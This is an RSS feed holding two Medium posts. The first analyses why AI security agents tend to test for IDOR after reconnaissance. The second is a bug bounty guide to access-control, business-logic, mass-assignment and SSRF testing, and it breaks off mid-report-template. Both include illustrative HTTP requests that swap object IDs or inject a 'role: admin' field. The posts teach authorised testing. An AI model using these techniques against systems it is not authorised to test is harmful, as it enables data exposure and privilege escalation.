<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Orgito RTA on Medium]]></title>
        <description><![CDATA[Stories by Orgito RTA on Medium]]></description>
        <link>https://medium.com/@tech_with_orgito_?source=rss-6a704e23aba8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*6gaRQZKRaJpo9EPSrCAJlQ.jpeg</url>
            <title>Stories by Orgito RTA on Medium</title>
            <link>https://medium.com/@tech_with_orgito_?source=rss-6a704e23aba8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:36:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tech_with_orgito_/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Why Does AI Always Choose IDOR After Reconnaissance?]]></title>
            <link>https://medium.com/@tech_with_orgito_/why-does-ai-always-choose-idor-after-reconnaissance-1f95d97b6a90?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f95d97b6a90</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 01:21:50 GMT</pubDate>
            <atom:updated>2026-11-17T01:21:50.319Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Understanding the behavioral bias of AI-powered security agents, the economics of vulnerability discovery, and why broken access control becomes their favorite attack surface.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1Cfb_ZXVXu5sV51BqUlww.png" /></figure><h3>1. Introduction: The IDOR Obsession</h3><p>Give an AI-powered security agent a web application, a collection of endpoints, an authenticated session, and permission to perform security testing. Let it conduct reconnaissance, map the attack surface, identify API routes, inspect parameters, and analyze application behavior.</p><p>There is a recurring pattern worth investigating.</p><p>Once reconnaissance is complete, the agent frequently gravitates toward one particular vulnerability class: <strong>Insecure Direct Object Reference (IDOR)</strong>.</p><p>It begins identifying object identifiers, comparing API requests, manipulating resource references, switching between user contexts, and attempting to access resources belonging to other users.</p><p>Why?</p><p>Why does an AI security agent repeatedly prioritize IDOR over other vulnerability classes, even when the reconnaissance phase reveals numerous potentially interesting attack surfaces?</p><p>Is it because IDOR is easier to identify? Because the required testing operations are relatively straightforward? Because the agent recognizes a pattern associated with historical vulnerability reports? Or because its architecture makes object-level authorization failures particularly attractive targets?</p><p>The answer is not necessarily one thing.</p><p>It is an intersection of application architecture, observable behavior, testing economics, LLM reasoning, and the way autonomous agents translate reconnaissance findings into attack hypotheses.</p><p>And understanding this behavior reveals something important about the current generation of AI-driven offensive security tools.</p><p><strong>AI does not necessarily choose the most dangerous vulnerability. It often chooses the vulnerability it can most easily formulate, test, and validate using the evidence available to it.</strong></p><h3>2. Why IDOR Becomes an Attractive Target</h3><p>IDOR, commonly discussed within the broader Broken Access Control category, occurs when an application fails to properly enforce authorization over an object or resource.</p><p>Consider an API:</p><pre>GET /api/users/1042/profile<br>Authorization: Bearer USER_A_TOKEN</pre><p>The application returns the profile associated with user 1042.</p><p>An agent notices that the resource identifier is exposed directly in the URL.</p><p>It then considers another request:</p><pre>GET /api/users/1043/profile<br>Authorization: Bearer USER_A_TOKEN</pre><p>If the application returns another user’s private information without proper authorization, the agent has identified a potential IDOR vulnerability.</p><p>The important characteristic is that the vulnerability can sometimes be investigated through a relatively small number of controlled requests.</p><p>Compare this with vulnerabilities that may require:</p><ul><li>Complex input-state manipulation.</li><li>Understanding application-specific business rules.</li><li>Constructing sophisticated exploit chains.</li><li>Analyzing serialization or deserialization behavior.</li><li>Reproducing race conditions.</li><li>Understanding server-side execution contexts.</li><li>Identifying subtle trust-boundary violations.</li></ul><p>IDOR often presents a more accessible testing opportunity.</p><p>The agent does not necessarily need to understand the entire application. It needs to identify a resource, understand the authentication context, manipulate an object reference, and observe whether authorization is correctly enforced.</p><p>This creates an attractive relationship between testing complexity and observable results.</p><h3>2.1. Low Testing Complexity</h3><p>Many IDOR hypotheses can be formulated using information already collected during reconnaissance.</p><p>For example:</p><p>Reconnaissance findingPotential IDOR hypothesis/api/orders/{id}Can another user access this order?/api/invoices/{id}Is invoice ownership enforced?/api/documents/{id}Can another account retrieve this document?/api/tickets/{id}Can a user access another user&#39;s support ticket?/api/projects/{id}Are project permissions checked server-side?/api/organizations/{id}Is tenant isolation enforced?</p><p>The agent can transform discovered endpoints into concrete authorization-testing hypotheses without requiring extensive knowledge of the application’s internal implementation.</p><p>This is an important distinction: the agent is not necessarily discovering IDOR from nothing. Reconnaissance has already provided the structural information needed to construct the hypothesis.</p><h3>2.2. High Observability</h3><p>IDOR testing frequently produces observable differences.</p><p>An agent can compare:</p><ul><li>HTTP status codes.</li><li>Response sizes.</li><li>JSON structures.</li><li>Returned object identifiers.</li><li>Ownership attributes.</li><li>Error messages.</li><li>Response timing.</li><li>Differences between authenticated sessions.</li></ul><p>For example:</p><pre>User A:<br>GET /api/orders/5001<br>Response: 200 OK<br><br>User A:<br>GET /api/orders/5002<br>Response: 403 Forbidden</pre><p>This is consistent with an authorization boundary being enforced.</p><p>However, consider:</p><pre>User A:<br>GET /api/orders/5001<br>Response: 200 OK<br><br>User A:<br>GET /api/orders/5002<br>Response: 200 OK</pre><p>The second response deserves investigation, but it does not independently prove IDOR.</p><p>The returned object must be examined. It could represent a public resource, an intentionally shared order, or a resource that User A is authorized to access.</p><p>This is where a more sophisticated agent must distinguish between an interesting response and a confirmed security vulnerability.</p><h3>3. The Reconnaissance-to-IDOR Pipeline</h3><p>The most interesting part is not the individual request. It is the transition from reconnaissance to vulnerability hypothesis generation.</p><p>An AI security agent typically operates through several logical stages:</p><ol><li>Reconnaissance.</li><li>Attack surface classification.</li><li>Hypothesis generation.</li><li>Test selection.</li><li>Execution.</li><li>Evidence analysis.</li><li>Vulnerability validation.</li></ol><p>IDOR fits naturally into this pipeline.</p><h3>3.1. Reconnaissance Produces Object-Centric Information</h3><p>During reconnaissance, an agent may identify:</p><ul><li>REST API endpoints.</li><li>GraphQL queries and mutations.</li><li>Resource identifiers.</li><li>User-related parameters.</li><li>Authentication mechanisms.</li><li>Session-dependent responses.</li><li>CRUD operations.</li><li>Relationships between application resources.</li></ul><p>These observations can be transformed into an object-access map.</p><p>For example:</p><pre>Application<br>│<br>├── Authentication<br>│   ├── /api/login<br>│   └── /api/session<br>│<br>├── Users<br>│   ├── /api/users/{id}<br>│   └── /api/users/{id}/settings<br>│<br>├── Orders<br>│   ├── /api/orders/{id}<br>│   └── /api/orders/{id}/history<br>│<br>├── Documents<br>│   ├── /api/documents/{id}<br>│   └── /api/documents/{id}/download<br>│<br>└── Organizations<br>    ├── /api/organizations/{id}<br>    └── /api/organizations/{id}/members</pre><p>The structure immediately suggests authorization boundaries.</p><p>The agent can now ask:</p><ul><li>Which resources belong to individual users?</li><li>Which resources belong to organizations?</li><li>Which endpoints operate on user-controlled identifiers?</li><li>Which operations expose sensitive information?</li><li>Which endpoints require different privilege levels?</li></ul><p>The reconnaissance phase has effectively generated a collection of potential authorization tests.</p><h3>3.2. Endpoint Semantics Become Attack Hypotheses</h3><p>An endpoint such as:</p><pre>GET /api/documents/7821</pre><p>provides more information than simply an HTTP route.</p><p>Its semantics suggest that the application retrieves a document using an identifier.</p><p>The agent can infer several questions:</p><ul><li>Is the identifier predictable?</li><li>Is the document associated with a specific owner?</li><li>Is access restricted to the owner?</li><li>Can another authorized role access it?</li><li>Does the backend validate ownership independently of the identifier?</li></ul><p>Notice that the agent does not need to know whether the endpoint is vulnerable to formulate these questions.</p><p>This is hypothesis generation, not vulnerability confirmation.</p><h3>3.3. Authentication Context Enables Comparative Testing</h3><p>IDOR becomes particularly interesting when multiple authorization contexts are available.</p><p>Imagine two controlled accounts:</p><pre>Account A<br>User ID: 1001<br><br>Account B<br>User ID: 1002</pre><p>Account A creates a document.</p><p>The agent records the document identifier and its ownership context.</p><p>It then uses Account B to request the same document.</p><p>The resulting comparison provides evidence about whether the application enforces object-level authorization.</p><p>This is substantially more meaningful than blindly incrementing numeric identifiers.</p><p>A mature agent should understand the relationship between:</p><ul><li>Identity.</li><li>Ownership.</li><li>Roles.</li><li>Tenant boundaries.</li><li>Resource permissions.</li><li>Requested operations.</li></ul><p>Without this context, it is simply performing parameter manipulation.</p><h3>4. Why LLM-Based Agents Gravitate Toward IDOR</h3><p>This is where the discussion becomes more interesting.</p><p>An AI security agent is not necessarily making decisions like an experienced penetration tester.</p><p>Its behavior is influenced by the information provided to its model, its available tools, its planning architecture, its feedback mechanisms, and the objectives defined by its developers.</p><p>Several characteristics can make IDOR particularly attractive.</p><h3>4.1. Pattern Recognition and Learned Vulnerability Associations</h3><p>Large language models learn statistical relationships from their training data.</p><p>Security-related material frequently discusses:</p><ul><li>Changing user identifiers.</li><li>Manipulating object references.</li><li>Accessing another user’s resources.</li><li>Testing authenticated API endpoints.</li><li>Comparing responses between accounts.</li></ul><p>These examples create recognizable associations between API structures and IDOR testing strategies.</p><p>When an agent encounters:</p><pre>GET /api/invoices/12345</pre><p>it can associate the endpoint with an established vulnerability-testing pattern.</p><p>This does not mean that the model has discovered a vulnerability.</p><p>It means that the endpoint resembles situations for which the model has learned relevant security concepts and testing procedures.</p><p>The distinction matters.</p><p>Pattern recognition can accelerate hypothesis generation, but it can also create confirmation bias.</p><h3>4.2. Tool Affordances Influence Testing Decisions</h3><p>An agent’s available tools influence what it can realistically investigate.</p><p>Consider an agent equipped with:</p><ul><li>HTTP request capabilities.</li><li>Browser automation.</li><li>Authentication management.</li><li>Response comparison.</li><li>API endpoint extraction.</li><li>Automated parameter manipulation.</li></ul><p>These capabilities make authorization testing relatively accessible.</p><p>Now consider a vulnerability requiring:</p><ul><li>Sophisticated binary analysis.</li><li>Custom exploit development.</li><li>Deep protocol reverse engineering.</li><li>Complex timing instrumentation.</li><li>Specialized runtime instrumentation.</li></ul><p>If the agent lacks the appropriate tools, these vulnerabilities become significantly harder to investigate.</p><p>This creates an important principle:</p><p><strong>An AI agent’s attack strategy is partially determined by its toolset, not just its understanding of security.</strong></p><p>IDOR is particularly compatible with request-and-response-oriented testing environments.</p><h3>4.3. Feedback Loops Reinforce Simple Hypotheses</h3><p>Autonomous agents frequently operate through iterative feedback:</p><pre>Observe → Hypothesize → Execute → Evaluate → Adapt</pre><p>IDOR offers a relatively direct feedback loop.</p><p>A request produces a response. The response can be compared against previous observations. The agent can then adjust its hypothesis.</p><p>This makes IDOR attractive for iterative exploration.</p><p>However, feedback can become misleading.</p><p>For example:</p><ol><li>The agent identifies a numeric object identifier.</li><li>It changes the identifier.</li><li>The server returns HTTP 200.</li><li>The agent interprets the response as successful unauthorized access.</li><li>It records an IDOR finding.</li></ol><p>This is an incorrect validation process.</p><p>HTTP 200 only confirms that the server returned a successful HTTP response. It does not establish that the requested resource belongs to another user or that access was unauthorized.</p><p>A robust agent must evaluate the actual response content and authorization context.</p><h3>4.4. Simplicity Can Become an Optimization Bias</h3><p>Many autonomous systems are designed to accomplish objectives within limited execution budgets.</p><p>They have constraints such as:</p><ul><li>Maximum requests.</li><li>Limited execution time.</li><li>Restricted tool calls.</li><li>Token budgets.</li><li>Limited authentication contexts.</li><li>Limited opportunities for manual intervention.</li></ul><p>Under these constraints, an agent may favor hypotheses that are inexpensive to investigate.</p><p>IDOR offers an appealing combination:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TC3UYkG3rWIbdLLfJ_CS4g.png" /></figure><p>This is not necessarily intelligent prioritization.</p><p>It may simply be an optimization strategy that favors easily testable hypotheses.</p><h3>5. The Hidden Problem: AI Confuses Testability With Exploitability</h3><p>One of the most important limitations of AI-driven security testing is the tendency to confuse a promising test condition with a confirmed vulnerability.</p><p>Consider these observations:</p><pre>Finding 1:<br>An API endpoint accepts an object identifier.<br><br>Finding 2:<br>Changing the identifier returns HTTP 200.<br><br>Finding 3:<br>The response contains a different object.<br><br>Finding 4:<br>The object belongs to another user.<br><br>Finding 5:<br>The requesting user is not authorized to access that object.</pre><p>These are not equivalent statements.</p><p>An agent that stops at Finding 2 or Finding 3 risks producing false positives.</p><p>Even Finding 4 requires additional context. Some applications intentionally share resources between users, teams, or organizations.</p><p>A valid IDOR finding requires evidence that the application allows an unauthorized principal to access or manipulate an object.</p><p>The actual security property being tested is authorization, not identifier predictability.</p><h3>5.1. The Difference Between Object Discovery and Authorization Failure</h3><p>An endpoint may expose predictable identifiers without being vulnerable.</p><p>Likewise, an endpoint may use UUIDs and still contain an IDOR vulnerability.</p><p>Consider:</p><pre>GET /api/documents/550e8400-e29b-41d4-a716-446655440000</pre><p>The identifier is difficult to guess.</p><p>However, if a user obtains a document UUID through another application feature and the server fails to verify authorization, the application may still expose the document.</p><p>Random identifiers are not authorization controls.</p><p>This is a particularly important lesson for AI agents: identifier entropy and authorization enforcement are different security properties.</p><h3>5.2. HTTP Status Codes Are Not Security Verdicts</h3><p>A sophisticated agent should not classify vulnerabilities using status codes alone.</p><p>For example:</p><ul><li>200 OK may return a public resource.</li><li>403 Forbidden may indicate authorization enforcement.</li><li>404 Not Found may intentionally conceal resource existence.</li><li>401 Unauthorized may indicate missing authentication.</li><li>500 Internal Server Error may represent an unrelated application failure.</li></ul><p>The agent needs contextual response analysis.</p><p>It must understand what resource was requested, who requested it, what permissions apply, and whether the returned information crosses an authorization boundary.</p><h3>6. Beyond Traditional IDOR: What AI Should Be Testing</h3><p>If an AI agent repeatedly prioritizes basic identifier manipulation, it may overlook more complex authorization weaknesses.</p><p>Broken Access Control is considerably broader than traditional IDOR.</p><p>A mature testing strategy should investigate several dimensions.</p><h3>6.1. Horizontal Privilege Escalation</h3><p>Can one user access another user’s resources without permission?</p><p>Example:</p><pre>User A → Order A<br>User B → Order B</pre><pre>Can User A access Order B?</pre><h3>6.2. Vertical Privilege Escalation</h3><p>Can a lower-privileged user execute operations reserved for administrators or privileged roles?</p><p>Example:</p><pre>POST /api/admin/users/1001/disable</pre><p>The important question is whether the server verifies the caller’s privileges independently of the requested operation.</p><h3>6.3. Multi-Tenant Isolation Failures</h3><p>Can one organization access data belonging to another organization?</p><p>This is particularly important in SaaS platforms.</p><p>An application may correctly enforce individual user permissions while failing to enforce tenant-level boundaries.</p><h3>6.4. Mass Assignment</h3><p>Does the backend allow users to modify properties that should remain restricted?</p><p>Example:</p><pre>{<br>  &quot;name&quot;: &quot;Example User&quot;,<br>  &quot;role&quot;: &quot;administrator&quot;,<br>  &quot;account_status&quot;: &quot;verified&quot;<br>}</pre><p>The existence of these fields does not establish a vulnerability. The important question is whether the backend improperly accepts unauthorized modifications.</p><h3>6.5. Business Logic Authorization Failures</h3><p>Can a user perform an action that violates the application’s intended business rules despite having access to the endpoint?</p><p>Examples include:</p><ul><li>Approving their own transactions.</li><li>Modifying finalized orders.</li><li>Redeeming another user’s benefits.</li><li>Accessing restricted workflow stages.</li><li>Performing actions outside their assigned responsibilities.</li></ul><p>These vulnerabilities often require deeper application understanding than simple object-reference manipulation.</p><p>They are also areas where purely endpoint-driven testing can be insufficient.</p><h3>7. How an Intelligent AI Agent Should Prioritize Vulnerabilities</h3><p>The solution is not to stop testing IDOR.</p><p>IDOR is an important vulnerability class and should remain part of an application’s security assessment.</p><p>The problem is treating it as the default destination of every reconnaissance process.</p><p>Instead, an agent should generate competing vulnerability hypotheses and prioritize them using contextual evidence.</p><p>I propose a simple conceptual approach: <strong>Evidence-Driven Attack Surface Prioritization (EDASP).</strong></p><p>This is a proposed testing methodology, not an established industry standard.</p><h3>7.1. Build a Contextual Attack Surface Model</h3><p>Instead of recording only endpoints, the agent should identify:</p><ul><li>Resource types.</li><li>Authentication requirements.</li><li>User roles.</li><li>Object ownership.</li><li>Tenant relationships.</li><li>Read and write operations.</li><li>Sensitive data exposure.</li><li>Business workflows.</li><li>Trust boundaries.</li></ul><p>The result is an application model that describes how resources and permissions interact.</p><h3>7.2. Generate Multiple Vulnerability Hypotheses</h3><p>For each endpoint, the agent should consider multiple possibilities.</p><p>Example:</p><pre>Endpoint:<br>POST /api/orders/{id}/cancel</pre><pre>Potential hypotheses:</pre><pre>1. Horizontal authorization failure<br>2. Vertical privilege escalation<br>3. Business logic manipulation<br>4. Workflow-state bypass<br>5. Parameter tampering<br>6. Race condition</pre><p>The agent should not automatically select the first recognizable vulnerability category.</p><h3>7.3. Prioritize Using Evidence</h3><p>A useful conceptual prioritization model could consider:</p><p>[<br>P(H) = w_1E + w_2I + w_3A + w_4B — w_5C<br>]</p><p>Where:</p><ul><li>(E): Strength of reconnaissance evidence.</li><li>(I): Potential security impact.</li><li>(A): Availability of a safe validation method.</li><li>(B): Relevance to application behavior.</li><li>©: Testing complexity.</li><li>(w_1 \ldots w_5): Configurable weighting factors.</li></ul><p>This is a prioritization heuristic, not a probability calculation or a validated predictive model.</p><p>The important idea is that a hypothesis should be prioritized because the available evidence supports investigating it, not simply because the model recognizes a familiar attack pattern.</p><h3>7.4. Require Evidence Before Confirmation</h3><p>Every potential finding should have an evidence chain:</p><pre>Reconnaissance Observation<br>          |<br>          v<br>Vulnerability Hypothesis<br>          |<br>          v<br>Controlled Test<br>          |<br>          v<br>Response Comparison<br>          |<br>          v<br>Authorization Verification<br>          |<br>          v<br>Impact Assessment<br>          |<br>          v<br>Validated Finding</pre><p>If authorization cannot be established, the agent should report the issue as unconfirmed rather than inventing certainty.</p><p>This distinction is essential for producing professional bug bounty reports.</p><h3>8. What This Means for Bug Bounty Hunters</h3><p>AI-assisted security testing is changing how researchers approach reconnaissance and vulnerability discovery.</p><p>However, there is a risk that researchers begin following the same predictable testing patterns generated by their tools.</p><p>If every agent discovers the same endpoints, identifies the same object references, and performs the same basic IDOR checks, the result may be increased testing volume without a proportional increase in meaningful discoveries.</p><p>A researcher should use AI to accelerate analysis, not outsource the reasoning process.</p><p>For example, after identifying:</p><pre>GET /api/subscriptions/{id}</pre><p>Do not stop at asking:</p><p>“Can I change the ID?”</p><p>Ask:</p><ul><li>What is the subscription ownership model?</li><li>Can subscriptions belong to organizations?</li><li>Are there multiple subscription states?</li><li>Which roles can modify subscription properties?</li><li>Are read and write permissions enforced separately?</li><li>Does the cancellation workflow enforce ownership?</li><li>Can one user manipulate another user’s subscription through a secondary endpoint?</li><li>Are permissions consistently enforced across API versions?</li></ul><p>These questions move the investigation from basic parameter manipulation toward application-specific security analysis.</p><p>The objective is not to generate more requests.</p><p>It is to discover violations of the application’s security assumptions.</p><h3>9. Final Thoughts: AI Should Think Beyond the Identifier</h3><p>Why does AI frequently choose IDOR after reconnaissance?</p><p>Because IDOR is often a natural consequence of the information collected during endpoint discovery. It is relatively easy to formulate as a hypothesis, compatible with common HTTP testing tools, and capable of producing observable results through controlled comparisons.</p><p>LLM pattern recognition, tool availability, iterative feedback, and testing-budget constraints can reinforce this preference.</p><p>But there is an important distinction between recognizing an attack pattern and understanding an application’s security model.</p><p>An agent that identifies /api/users/{id} and immediately starts manipulating identifiers is performing a recognizable security test.</p><p>An agent that understands the relationships between users, resources, roles, ownership, tenants, and business workflows is performing contextual security analysis.</p><p>That is the direction AI-driven offensive security needs to move toward.</p><p><strong>The next generation of AI security agents should not simply ask whether an identifier can be changed. They should understand why a resource is accessible, who is supposed to access it, and which security assumption would have to fail for unauthorized access to occur.</strong></p><p>Because the most interesting vulnerabilities are rarely found by repeatedly asking the same question.</p><p>They are found by understanding what the application was designed to protect, identifying where that protection breaks down, and proving the resulting security impact.</p><p><em>The identifier is only the beginning of the investigation. Authorization is where the real vulnerability lives.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f95d97b6a90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stop Hunting Bugs, Start Proving Impact: A Practical Guide to Finding Valid Vulnerabilities]]></title>
            <link>https://medium.com/@tech_with_orgito_/stop-hunting-bugs-start-proving-impact-a-practical-guide-to-finding-valid-vulnerabilities-df377ed457f0?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/df377ed457f0</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 15:40:20 GMT</pubDate>
            <atom:updated>2026-11-15T15:40:20.373Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Why most bug bounty reports get closed, and a methodology for getting yours accepted.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5FzQr7VcqEyH8IFvPLpUag.png" /></figure><p>Every bug hunter knows the feeling. You spend six hours on a target, find something that looks interesting, write it up carefully, hit submit, and two days later you get one of these back:</p><ul><li><strong>Informative.</strong></li><li><strong>Not Applicable.</strong></li><li><strong>Duplicate.</strong></li><li><strong>Out of Scope.</strong></li></ul><p>On most platforms, a large share of submissions never become valid, rewarded findings. The cause is rarely a lack of skill. Usually the hunter found a <em>behavior</em>, not a <em>vulnerability</em>, or found a real vulnerability in a place nobody cares about.</p><p>This article covers the difference, along with a repeatable approach for finding bugs that survive triage. It’s aimed at people who already know the basics (Burp Suite, HTTP, common vulnerability classes) and want a better acceptance rate, not just more reports.</p><h3>1. What “Valid” Actually Means</h3><p>A triager asks four questions about every report:</p><ol><li><strong>Is it in scope?</strong> Is the asset listed, and is the vulnerability type allowed?</li><li><strong>Is it reproducible?</strong> Can they confirm it in a few minutes from your steps?</li><li><strong>Is there real security impact?</strong> Does it break confidentiality, integrity, or availability in a way that matters to <em>this</em> business?</li><li><strong>Is it new?</strong> Has someone else already reported it, or has the company accepted it as a known risk?</li></ol><p>If any answer is “no,” the report dies. Most hunters focus almost entirely on finding things and spend very little effort on questions 1, 3, and 4. That’s where acceptance rates are won or lost.</p><h3>2. Read the Program Policy Like a Contract</h3><p>Before sending a single request, read the full program policy. Not a skim, the whole thing. You’re looking for three things.</p><p><strong>In-scope assets.</strong> Note exact domains, wildcards, mobile apps, and API hosts. *.example.com is not the same as www.example.com. If an acquired company’s domain isn’t listed, it doesn’t count, however vulnerable it is.</p><p><strong>Excluded vulnerability types.</strong> Most programs exclude a familiar list of low-impact findings. Learn it once and stop submitting these on their own:</p><ul><li>Missing security headers (CSP, HSTS, X-Frame-Options) with no demonstrated exploit</li><li>Clickjacking on pages with no sensitive actions</li><li>Self-XSS that can’t be delivered to another user</li><li>CSRF on logout or other non-state-changing actions</li><li>Missing SPF/DMARC records</li><li>Software version disclosure</li><li>Rate-limit issues on non-sensitive endpoints</li><li>Reports generated purely by automated scanners</li><li>Theoretical issues with no proof of concept</li></ul><p><strong>Testing rules.</strong> Required headers (such as X-Bug-Bounty: yourhandle), forbidden actions (no DoS, no social engineering, no accessing real user data), and whether you must use your own test accounts.</p><blockquote><strong><em>Rule of thumb:</em></strong><em> if your finding is on the program’s exclusion list, it doesn’t matter how clever it is. Either chain it into something with real impact or move on.</em></blockquote><h3>3. Go Where Valid Bugs Live</h3><p>Popular programs have been tested by thousands of people. The login page of a top-tier program has been hit with every payload you can think of. Valid bugs collect in places other hunters skip.</p><p><strong>New features.</strong> Watch changelogs, product blogs, release notes, and app store update notes. New code hasn’t been through years of hunter attention, and developers shipping under deadline pressure make access-control mistakes.</p><p><strong>Authenticated and multi-role areas.</strong> Most surface-level testing happens before login. Admin panels, team or organization settings, billing, invitations, and role management are where the complex logic lives, and complex logic breaks.</p><p><strong>APIs, especially undocumented ones.</strong> Proxy the mobile app and the web app’s JavaScript. Look for endpoints the UI doesn’t expose: versioned APIs (/api/v1/ next to /api/v2/), internal-looking routes, GraphQL schemas.</p><p><strong>Integrations and workflows.</strong> Webhooks, file imports, PDF generation, OAuth connections to third-party services, and anything that fetches a URL on the server’s behalf. These features often connect to internal systems.</p><p><strong>Boring, tedious features.</strong> Export to CSV, invoice downloads, notification settings, audit logs. Hunters skip them because they look dull. Developers often skip securing them for the same reason.</p><h3>4. Understand the Application Before Attacking It</h3><p>The biggest difference between hunters who find valid bugs and those who don’t is how long they spend <em>using</em> the application before trying to break it.</p><p>Spend your first hours building a mental model:</p><ul><li><strong>What does the business sell?</strong> A data-protection bug in a healthcare app means something very different from the same bug in a meme generator.</li><li><strong>What are the roles?</strong> Owner, admin, member, viewer, guest, unauthenticated. Write them down.</li><li><strong>What are the objects?</strong> Users, organizations, projects, invoices, documents, API keys. Note how each is identified: sequential integers, UUIDs, slugs.</li><li><strong>What are the critical workflows?</strong> Signup, password reset, invitations, payments, ownership transfer, account deletion.</li></ul><p>Then set up <strong>at least two accounts per role</strong>, ideally in <strong>two separate organizations or tenants</strong>. Use Burp’s container-based browsers or separate profiles so you can switch identities quickly. Access-control testing is nearly impossible without this.</p><p>A simple spreadsheet works well: rows are actions (“view invoice,” “delete project member,” “change org billing email”) and columns are roles. Fill in what <em>should</em> be allowed, then test what <em>is</em> allowed. Each mismatch is a candidate finding.</p><h3>5. High-Validity Bug Classes and How to Test Them</h3><p>Some vulnerability classes are much more likely to be accepted because their impact is clear and they’re hard to find with scanners.</p><h4>Broken Access Control / IDOR</h4><p>This is still one of the most common and highest-impact classes on modern applications, and it ranks first in the OWASP Top 10.</p><p><strong>Approach:</strong> Do an action as User A in Org A and capture the request. Replay it with User B’s session (Org B), changing nothing else. Then try swapping in object IDs that belong to the other tenant.</p><pre>GET /api/v2/organizations/4812/invoices/99231 HTTP/2<br>Host: app.example.com<br>Authorization: Bearer &lt;USER_B_TOKEN&gt;</pre><p>If User B can read Org A’s invoice, you have a cross-tenant data exposure. Things to check:</p><ul><li><strong>Every HTTP method.</strong> GET may be protected while PUT, PATCH, or DELETE on the same resource is not.</li><li><strong>Nested resources.</strong> The check may validate the organization ID in the path but not the child object ID.</li><li><strong>Older API versions.</strong> /v1/ may lack checks that were added to /v2/.</li><li><strong>“Unguessable” IDs.</strong> UUIDs aren’t a security control. Look for places they leak: shared links, emails, other API responses, exports.</li></ul><h4>Business Logic Flaws</h4><p>Scanners can’t find these, so competition is lower and reports are rarely duplicates.</p><ul><li>Can you apply the same discount code twice by sending requests in parallel (a race condition)?</li><li>Can you downgrade a plan but keep premium features?</li><li>Can a removed team member still use an API key they generated?</li><li>Can you skip a step in a multi-step flow, such as verification or payment confirmation, by requesting the final step directly?</li><li>Do negative quantities or amounts get accepted?</li></ul><p>The question to keep asking: <em>“What does the developer assume will never happen?”</em> Then make it happen.</p><h4>Authentication Flows</h4><p>Password reset, email change, MFA, OAuth, and magic links are high-value because breaking them often means account takeover.</p><ul><li>Is the reset token tied to the account it was issued for?</li><li>Does changing your email require re-authentication or confirmation from the old address?</li><li>Can MFA be bypassed by going straight to a post-login endpoint, or via an alternative login method (SSO, “remember me,” mobile API)?</li><li>In OAuth flows, is redirect_uri strictly validated? Is the state parameter present and checked?</li><li>Are sessions invalidated after a password change?</li></ul><h4>Mass Assignment</h4><p>When you update your profile, look at the JSON the server returns. If the response includes fields like role, is_admin, org_id, plan, or email_verified, try sending them in your update request.</p><pre>PATCH /api/users/me HTTP/2<br>Content-Type: application/json<br>{&quot;display_name&quot;: &quot;test&quot;, &quot;role&quot;: &quot;admin&quot;}</pre><p>If the server accepts it, the impact is usually obvious privilege escalation.</p><h4>Server-Side Request Forgery (SSRF)</h4><p>Any feature where the server fetches a URL you supply is a candidate: webhooks, URL previews, “import from URL,” PDF and screenshot generators, image proxies. Start with an out-of-band interaction server to confirm the server makes requests at all. Only then explore reachability carefully, within the program’s rules. Many programs explicitly limit how far you may go when demonstrating SSRF, so read the policy first.</p><h3>6. The “So What?” Test: Proving Impact</h3><p>This is where most reports fail. A finding becomes valid when you can answer <strong>“So what?”</strong> in one concrete sentence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3lcHxgBaFbqUpqkrD4oYiA.png" /></figure><p>Notice the pattern. Low-impact findings become valid when you <strong>chain</strong> them or <strong>find where they matter</strong>. Before giving up on a weak finding, ask:</p><ul><li>Can I deliver this to another user?</li><li>Does this data or input appear somewhere more privileged (admin panels, emails, exports, support tools)?</li><li>Can this be combined with another weakness I’ve already found?</li><li>What’s the worst realistic outcome for the business: data breach, financial loss, account takeover, regulatory exposure?</li></ul><p><strong>Show impact without causing harm.</strong> Use your own accounts on both sides of every test. If you must show access to other data, access the minimum needed (one record), don’t modify or delete anything that isn’t yours, and say clearly in the report that you stopped there. Over-exploitation can get you banned and, in some jurisdictions, put you outside legal safe harbor.</p><h3>7. Reducing Duplicates</h3><p>You can’t eliminate duplicates, but you can make them less frequent:</p><ul><li><strong>Avoid the obvious first.</strong> If you found it in ten minutes on the main domain, assume someone else did too.</li><li><strong>Go deeper, not wider.</strong> Mastering one program over months beats spraying fifty programs. You build context that others don’t have.</li><li><strong>Read disclosed reports</strong> for your target. They show what’s already been found and how the company thinks about severity.</li><li><strong>Report fast once confirmed.</strong> Don’t sit on a valid finding while hunting for a chain if the base issue is already reportable. You can often add the chain later.</li><li><strong>Test right after releases.</strong> Being early on new features is the most reliable way to avoid duplicates.</li></ul><h3>8. Write Reports That Triagers Can Validate in Five Minutes</h3><p>A triager reads dozens of reports a day. Make yours the easiest one in the queue.</p><p><strong>A structure that works:</strong></p><pre>Title:<br>[Vulnerability type] in [feature/endpoint] allows [attacker] to [impact]<br>Example: IDOR in invoice API allows any user to read invoices of other organizations</pre><pre>Summary:<br>2–3 sentences. What is broken, where, and why it matters.</pre><pre>Severity:<br>Your CVSS estimate with a one-line justification. Be honest and don&#39;t inflate it.</pre><pre>Steps to 